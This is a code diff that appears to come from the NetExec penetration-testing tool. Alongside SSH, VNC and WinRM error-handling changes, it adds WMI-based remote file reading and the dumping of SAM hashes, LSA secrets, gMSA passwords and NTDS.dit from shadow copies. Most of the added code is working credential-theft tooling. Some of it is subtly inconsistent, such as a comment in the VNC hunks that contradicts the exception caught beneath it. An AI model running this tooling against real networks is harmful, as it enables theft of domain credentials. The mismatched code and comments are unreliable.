pkey = paramiko.PKey.from_path(self.args.key_file, password.encode() if password else None) if self.args.key_file else private_key
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=private_key,
|
||||
key_filename=self.args.key_file,
|
||||
pkey=pkey,
|
||||
timeout=self.args.ssh_timeout,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
@@ -125,6 +127,8 @@ class ssh(connection):
|
||||
except AuthenticationException as e:
|
||||
if "Private key file is encrypted" in str(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{process_secret(password)}")
|
||||
except SSHException as e:
|
||||
@@ -132,8 +136,15 @@ class ssh(connection):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
elif "Error reading SSH protocol banner" in str(e):
|
||||
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
|
||||
elif is_key_type_rejected(e):
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Key type rejected by server (pubkey algorithm not allowed)")
|
||||
else:
|
||||
self.logger.exception(e)
|
||||
except ValueError as e:
|
||||
self.logger.debug(f"Could not load private key {self.args.key_file}: {e}")
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
|
||||
except TimeoutError:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Connection timed out")
|
||||
except Exception as e:
|
||||
self.logger.exception(e)
|
||||
self.conn.close()
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Substrings paramiko raises when the server refuses a public key whose algorithm is not in its accepted list, e.g. sshd set to "PubkeyAcceptedAlgorithms ssh-ed25519" while the key is RSA.
|
||||
# They must be told apart from a wrong passphrase, otherwise the operator gets an error pointing at the wrong thing.
|
||||
KEY_TYPE_REJECTED_SUBSTRINGS = (
|
||||
"no RSA pubkey algorithms are configured",
|
||||
"Unable to agree on a pubkey algorithm",
|
||||
)
|
||||
|
||||
|
||||
def is_key_type_rejected(exc):
|
||||
"""Return True if exc means the server rejected the key's algorithm."""
|
||||
return any(sub in str(exc) for sub in KEY_TYPE_REJECTED_SUBSTRINGS)
|
||||
@@ -7,6 +7,7 @@ import struct
|
||||
from nxc.config import host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from aardwolf.commons.target import RDPTarget
|
||||
@@ -100,7 +101,7 @@ class vnc(connection):
|
||||
credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS)
|
||||
self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings)
|
||||
asyncio.run(self.connect_vnc(True))
|
||||
except asyncio.TimeoutError:
|
||||
except TimeoutError:
|
||||
# asyncio.TimeoutError is only an alias of the builtin from 3.11 on,
|
||||
# and the project supports 3.10, so catch it by its asyncio name.
|
||||
self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}")
|
||||
@@ -144,7 +145,7 @@ class vnc(connection):
|
||||
)
|
||||
return True
|
||||
|
||||
except asyncio.TimeoutError:
|
||||
except TimeoutError:
|
||||
# Reporting an unresponsive server as a rejected password would be wrong:
|
||||
# nothing was authenticated, so say what actually happened.
|
||||
self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s")
|
||||
@@ -160,7 +161,7 @@ class vnc(connection):
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")).expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.logger import NXCAdapter
|
||||
|
||||
@@ -68,8 +68,11 @@ class winrm(connection):
|
||||
self.no_ntlm = True
|
||||
return False
|
||||
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
|
||||
+335
-32
@@ -1,11 +1,22 @@
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import binascii
|
||||
from Cryptodome.Hash import MD4
|
||||
from io import StringIO
|
||||
import base64
|
||||
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.connection import connection, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.protocols.wmi import wmiexec, wmiexec_event
|
||||
from nxc.protocols.wmi.remoteops import RemoteOperations
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
|
||||
from dploot.lib.network.wmi import WMITarget as Target
|
||||
@@ -13,11 +24,12 @@ from dploot.lib.network.wmi import WMITarget as Target
|
||||
from impacket import ntlm
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices
|
||||
|
||||
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
|
||||
|
||||
@@ -50,6 +62,8 @@ class wmi(connection):
|
||||
}
|
||||
self.iWbemLevel1Login = None
|
||||
self.dcom_conn = None
|
||||
self.namespaces = {}
|
||||
self._remote_ops = None
|
||||
self.no_da = None
|
||||
self.dpapi_system_key = None
|
||||
|
||||
@@ -136,8 +150,11 @@ class wmi(connection):
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -164,7 +181,7 @@ class wmi(connection):
|
||||
try:
|
||||
self.dcom_conn = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = self.dcom_conn.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
|
||||
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout, self.logger)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Received error while checking admin: {e}")
|
||||
if "access_denied" not in str(e).lower():
|
||||
@@ -180,8 +197,7 @@ class wmi(connection):
|
||||
else:
|
||||
try:
|
||||
self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
|
||||
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
self.get_namespace("//./root/cimv2")
|
||||
except Exception as e:
|
||||
if "access_denied" not in str(e).lower():
|
||||
self.logger.fail(str(e))
|
||||
@@ -372,6 +388,284 @@ class wmi(connection):
|
||||
self.logger.success(out)
|
||||
return True
|
||||
|
||||
def read_file(self, remote_path) -> bytes | None:
|
||||
self.logger.debug(f"Try reading file {remote_path}")
|
||||
escaped_path = remote_path.replace("\\", "\\\\")
|
||||
|
||||
# Load the Namespace
|
||||
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
|
||||
if powershellv3_namespace is None:
|
||||
return None
|
||||
|
||||
# Read the file
|
||||
try:
|
||||
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
|
||||
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
|
||||
obj = iWbemClassObject.getProperties()
|
||||
|
||||
file_data = None
|
||||
for prop_name, prop_value in obj.items():
|
||||
if prop_name == "FileData":
|
||||
file_data = prop_value["value"]
|
||||
break
|
||||
|
||||
if len(file_data) < 4:
|
||||
return None
|
||||
|
||||
# Unpack it
|
||||
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
|
||||
return bytes(file_data[4:4 + file_length])
|
||||
except DCERPCSessionError as e:
|
||||
if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY
|
||||
# With the PS_ModuelFile technique, the file will be loaded into
|
||||
# WMI process memory. By default, a specific memory space is allocated
|
||||
# to each WMI provider host process (WMIPrvse.exe). This value can be
|
||||
# found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class
|
||||
# in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail
|
||||
# File is too big, let's try to copy it the dirty way
|
||||
|
||||
live_path = re.sub(
|
||||
r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+",
|
||||
"C:",
|
||||
escaped_path,
|
||||
flags=re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Check file size
|
||||
def callback_func(iEnumWbemClassObject, records):
|
||||
wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
|
||||
record = dict(wmi_results.getProperties())
|
||||
callback_func.size = record["FileSize"]["value"]
|
||||
|
||||
callback_func.size = 0
|
||||
|
||||
wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'"
|
||||
self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
|
||||
# Get the file chunk by chunk with command exec
|
||||
self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.")
|
||||
data = b""
|
||||
chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash
|
||||
chunk_count = (callback_func.size + chunk_size - 1) // chunk_size
|
||||
try:
|
||||
for i in range(chunk_count):
|
||||
offset = i * chunk_size
|
||||
self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}")
|
||||
powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}"
|
||||
output = self.execute_psh(powershell_command, get_output=True)
|
||||
data += base64.b64decode(output)
|
||||
return data
|
||||
except Exception as e2:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e2}")
|
||||
self.logger.fail(f"Could not download {remote_path}")
|
||||
|
||||
elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND
|
||||
self.logger.fail(f"Cannot find file '{remote_path}'")
|
||||
else:
|
||||
self.logger.debug(f"Error while downloading {remote_path}: {e}")
|
||||
return None
|
||||
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
if self.args.append_host:
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
|
||||
file_data = self.read_file(remote_path)
|
||||
if file_data is None:
|
||||
return False
|
||||
else:
|
||||
with open(download_path, "wb+") as file:
|
||||
file.write(file_data)
|
||||
return True
|
||||
|
||||
@requires_admin
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.logger.display(f'Copying "{src}" to "{dest}"')
|
||||
if self.get_file_single(src, dest):
|
||||
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
|
||||
else:
|
||||
self.logger.fail(f'Could not get file "{src}"')
|
||||
|
||||
@requires_admin
|
||||
def sam(self):
|
||||
def add_sam_hash(sam_hash):
|
||||
self.logger.highlight(sam_hash)
|
||||
if "_history" in sam_hash:
|
||||
return
|
||||
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
|
||||
# TODO: Implement wmi creds database
|
||||
add_sam_hash.sam_hashes += 1
|
||||
|
||||
add_sam_hash.sam_hashes = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the SAM hive
|
||||
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
|
||||
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
|
||||
self.logger.fail("Could not get SAM hive")
|
||||
return
|
||||
|
||||
SAM = SAMHashes(
|
||||
f"{output_filename}.sam",
|
||||
bootkey,
|
||||
isRemote=None,
|
||||
history=self.args.history,
|
||||
perSecretCallback=lambda secret: add_sam_hash(secret),
|
||||
)
|
||||
self.logger.display("Dumping SAM hashes")
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
||||
blob.fromString(data)
|
||||
currentPassword = blob["CurrentPassword"][:-2]
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the LSA hive
|
||||
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
|
||||
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
|
||||
self.logger.fail("Could not get LSA hive")
|
||||
return
|
||||
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
bootkey,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(output_filename)
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}")
|
||||
|
||||
@requires_admin
|
||||
def ntds(self):
|
||||
printed_kerb_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret):
|
||||
nonlocal printed_kerb_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
|
||||
# Count the type of secrets
|
||||
if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
add_hash.kerb_secrets += 1
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
||||
if "Enabled" in secret:
|
||||
secret = " ".join(secret.split(" ")[:-1])
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
|
||||
self.logger.highlight(secret)
|
||||
|
||||
# Filter out computer accounts, history hashes and kerberos keys for adding to db
|
||||
if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret:
|
||||
if secret.find("\\") != -1:
|
||||
_, clean_hash = secret.split("\\")
|
||||
else:
|
||||
clean_hash = secret
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
add_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_hash.nt_lm_secrets = 0
|
||||
add_hash.kerb_secrets = 0
|
||||
add_hash.added_to_db = 0
|
||||
|
||||
output_filename = self.output_file_template.format(output_folder="ntds")
|
||||
|
||||
bootkey = self.remote_ops.get_bootkey(output_filename)
|
||||
if bootkey is None:
|
||||
return
|
||||
|
||||
# Get the NTDS.dit file
|
||||
ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit"
|
||||
if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"):
|
||||
self.logger.fail("Could not download NTDS.dit file")
|
||||
return
|
||||
|
||||
NTDS = NTDSHashes(
|
||||
f"{output_filename}.ntds.dit",
|
||||
self.remote_ops.bootkey,
|
||||
isRemote=False,
|
||||
history=self.args.history,
|
||||
noLMHash=True,
|
||||
justNTLM=not self.args.kerberos_keys,
|
||||
useVSSMethod=True,
|
||||
remoteOps=None,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=f"{output_filename}.ntds",
|
||||
justUser=self.args.userntds if self.args.userntds else None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret),
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
||||
NTDS.dump()
|
||||
ntds_outfile = f"{output_filename}.ntds"
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
@requires_admin
|
||||
def wmi_query(self, wql=None, namespace=None, callback_func=None):
|
||||
records = []
|
||||
@@ -382,8 +676,7 @@ class wmi(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
iWbemServices = self.get_namespace(namespace)
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
|
||||
except Exception as e:
|
||||
self.logger.debug(str(e))
|
||||
@@ -417,7 +710,7 @@ class wmi(connection):
|
||||
record = dict(wmi_results.getProperties())
|
||||
records.append(record)
|
||||
|
||||
snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func)
|
||||
snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
|
||||
if not snapshots:
|
||||
self.logger.info("No volume shadow copies found.")
|
||||
return
|
||||
@@ -429,8 +722,6 @@ class wmi(connection):
|
||||
|
||||
@requires_admin
|
||||
def execute(self, command=None, get_output=False, use_powershell=False):
|
||||
output = ""
|
||||
|
||||
# Execution via -x
|
||||
if not command and self.args.execute:
|
||||
command = self.args.execute
|
||||
@@ -451,7 +742,8 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/cimv2")
|
||||
)
|
||||
elif self.args.exec_method == "wmiexec-event":
|
||||
exec_method = wmiexec_event.WMIEXEC_EVENT(
|
||||
@@ -459,19 +751,21 @@ class wmi(connection):
|
||||
self.iWbemLevel1Login,
|
||||
self.logger,
|
||||
self.args.exec_timeout,
|
||||
self.args.codec
|
||||
self.args.codec,
|
||||
self.get_namespace("//./root/subscription")
|
||||
)
|
||||
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
|
||||
try:
|
||||
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Execute command failed with {self.args.exec_method}: {e}")
|
||||
return ""
|
||||
|
||||
if self.args.execute and get_output:
|
||||
self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}')
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if get_output and (self.args.execute_psh if use_powershell else self.args.execute):
|
||||
self.logger.success(f'Executed {"PowerShell " if use_powershell else ""}command: "{command}" via {self.args.exec_method}')
|
||||
for line in StringIO(output).readlines():
|
||||
if line.strip():
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
return output
|
||||
|
||||
def execute_psh(self, command=None, get_output=False):
|
||||
# Execution via -X
|
||||
@@ -479,18 +773,27 @@ class wmi(connection):
|
||||
command = self.args.execute_psh
|
||||
if not self.args.no_output:
|
||||
get_output = True
|
||||
return self.execute(command, get_output, use_powershell=True)
|
||||
|
||||
output = self.execute(command, get_output, use_powershell=True)
|
||||
def get_namespace(self, namespace: str) -> IWbemServices:
|
||||
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
|
||||
if namespace in self.namespaces:
|
||||
return self.namespaces[namespace]
|
||||
self.logger.debug(f"Getting namespace {namespace}")
|
||||
try:
|
||||
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
self.iWbemLevel1Login.RemRelease()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
|
||||
return None
|
||||
self.namespaces[namespace] = iWbemServices
|
||||
return self.namespaces[namespace]
|
||||
|
||||
if self.args.execute_psh and get_output:
|
||||
self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}')
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
if line.strip():
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
@property
|
||||
def remote_ops(self):
|
||||
if self._remote_ops is None:
|
||||
self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id)
|
||||
return self._remote_ops
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import get_conditional_action
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
|
||||
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
@@ -15,11 +19,28 @@ def proto_args(parser, parents):
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump")
|
||||
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)")
|
||||
# NTDS options
|
||||
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
|
||||
exclusive = cred_gathering_group.add_mutually_exclusive_group()
|
||||
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
|
||||
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
|
||||
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
|
||||
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")
|
||||
|
||||
files_group = wmi_parser.add_argument_group("File Operations")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cgroup = wmi_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
from binascii import hexlify
|
||||
|
||||
from impacket.examples.secretsdump import LocalOperations
|
||||
|
||||
|
||||
class RemoteOperations:
|
||||
def __init__(self, connection, shadow_id=None):
|
||||
self.connection = connection
|
||||
|
||||
self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2")
|
||||
|
||||
# Cached variables
|
||||
self.bootkey = None
|
||||
if shadow_id is not None:
|
||||
self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}")
|
||||
